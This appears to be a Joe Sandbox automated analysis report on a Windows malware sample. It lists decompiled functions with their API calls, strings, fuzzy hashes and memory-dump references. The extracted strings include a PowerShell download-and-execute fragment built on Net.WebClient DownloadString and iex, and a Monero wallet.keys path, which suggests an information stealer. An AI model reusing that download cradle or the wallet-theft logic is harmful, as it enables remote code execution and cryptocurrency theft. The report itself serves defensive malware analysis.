Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: a0ed4cbfe93d0cc974da6044f8369c0878916f44a8cf608972f3da16a68e91da
Instruction ID: 8aa8f54ed0a99c91faffa02525c95fa844b6858a6ee3c68abfdd9097d7126834
Opcode Fuzzy Hash: a0ed4cbfe93d0cc974da6044f8369c0878916f44a8cf608972f3da16a68e91da
Instruction Fuzzy Hash: 08410E71D112089ADB14FBA1C991FDDB774AF10314F50401EE016A7192DF786ADBCFA9

Function 00409E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00409F41

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00409E67
v10, xrefs: 00409EA3
v20, xrefs: 00409E21
@, xrefs: 00409EF1

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: dbe91d87fbef903cf41d7f41f985c112cdf5937fa570984beaa12c935248cc6f
Instruction ID: 10ceffa70db9d8a89802f1f515cb1d93b7b787f40f9914e3c1c85780873b0af3
Opcode Fuzzy Hash: dbe91d87fbef903cf41d7f41f985c112cdf5937fa570984beaa12c935248cc6f
Instruction Fuzzy Hash: 55616030A00248EBDB24EFA5DD96FED7775AF40304F408029F90A6F1D1DB786A56CB5A

Function 00419260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(013FF0E8,?,?,?,0041140C,?,013FF0E8,00000000), ref: 0041926C
lstrcpyn.KERNEL32(0064AB88,013FF0E8,013FF0E8,?,0041140C,?,013FF0E8), ref: 00419290
lstrlen.KERNEL32(?,?,0041140C,?,013FF0E8), ref: 004192A7
wsprintfA.USER32 ref: 004192C7

Strings

%s%s, xrefs: 004192B5

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction ID: a59194731e19cd62a1114d9db51b1d7a77f87ed08144ed5303bdb74f02b8d175
Opcode Fuzzy Hash: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction Fuzzy Hash: FD010879580108FFCB04DFECC998EAE7BBAEB49394F108548F9098B300C635AA40DB95

Function 0041C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0041C8EC
___crtLCMapStringA.LIBCMT ref: 0041C90C
___crtLCMapStringA.LIBCMT ref: 0041C931

Strings

, xrefs: 0041C896

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 00513a002d7e8fe4939265ce8c02e0c3d51cf9b84403bf912b4410a78cdeda51
Instruction ID: 842ab701b84eae5bd464472593a27e9970ef972f8073db3b542fd260091dc49d
Opcode Fuzzy Hash: 00513a002d7e8fe4939265ce8c02e0c3d51cf9b84403bf912b4410a78cdeda51
Instruction Fuzzy Hash: F04127B154075C5EDB218B24CDC4FFB7BF89F05708F1444EEE98A86182D2759A85CF68

Function 00416630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416663

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00416726
ExitProcess.KERNEL32 ref: 00416755

Strings

<, xrefs: 004166D9

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 4ae30b859fc942c9587f152936d11ec8aa2d9d08854ccb4cb357e31b47128d92
Instruction ID: 5b5f5c47f0bfa9475b258acd8296b8f4f2330d650783268263d73b7fdd640aa3
Opcode Fuzzy Hash: 4ae30b859fc942c9587f152936d11ec8aa2d9d08854ccb4cb357e31b47128d92
Instruction Fuzzy Hash: 7F314AB1C01208ABDB14EB91DD82FDEB778AF04314F40518EF20966191DF786B89CF6A

Function 004187C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
RtlAllocateHeap.NTDLL(00000000), ref: 00418836
wsprintfA.USER32 ref: 00418850

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Strings

%dx%d, xrefs: 00418847

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction ID: e741bf7ca2fc1d65a497d39fe48fe123552d5275a0b8a8093fc8d321cf3eb0b5
Opcode Fuzzy Hash: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction Fuzzy Hash: 48217FB5A80208BFDB00DFD4DD49FAEBBB9FB49B00F104119F605A7280C779A900CBA5

Function 00418D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00418D62
wsprintfW.USER32 ref: 00418D78

Strings

%hs, xrefs: 00418D6F

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction ID: e0c39cc4b97fe4de81499882959c588a1d03a161ade5b5bfa375175f6a3fb920
Opcode Fuzzy Hash: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction Fuzzy Hash: 96E08CB8A80208BFC710DBD4EC0AE697BB8EB05702F000194FE0A87280DA719E008B96

Function 0040D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(00420E1A,013FE9B8,004205AE,?,?,004013F9,?,0000001A,00420E1A,00000000,?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D481
lstrlen.KERNEL32(00000000), ref: 0040D698
lstrlen.KERNEL32(00000000), ref: 0040D6AC
DeleteFileA.KERNEL32(00000000), ref: 0040D72B

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 57a19256c3fe0fb6954caa2ac7c3c6f7351a946747d4bf80fb3ae76a49df6148
Instruction ID: 265a03a5026cdf5fd4b8160f1a7263b5072f0f83edca8c83d8fca220a3e7f1c0
Opcode Fuzzy Hash: 57a19256c3fe0fb6954caa2ac7c3c6f7351a946747d4bf80fb3ae76a49df6148
Instruction Fuzzy Hash: 8A9145719111089BCB04FBA1DD92EEE7339AF14318F50452EF50772091EF386A9ACB7A

Function 00413560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
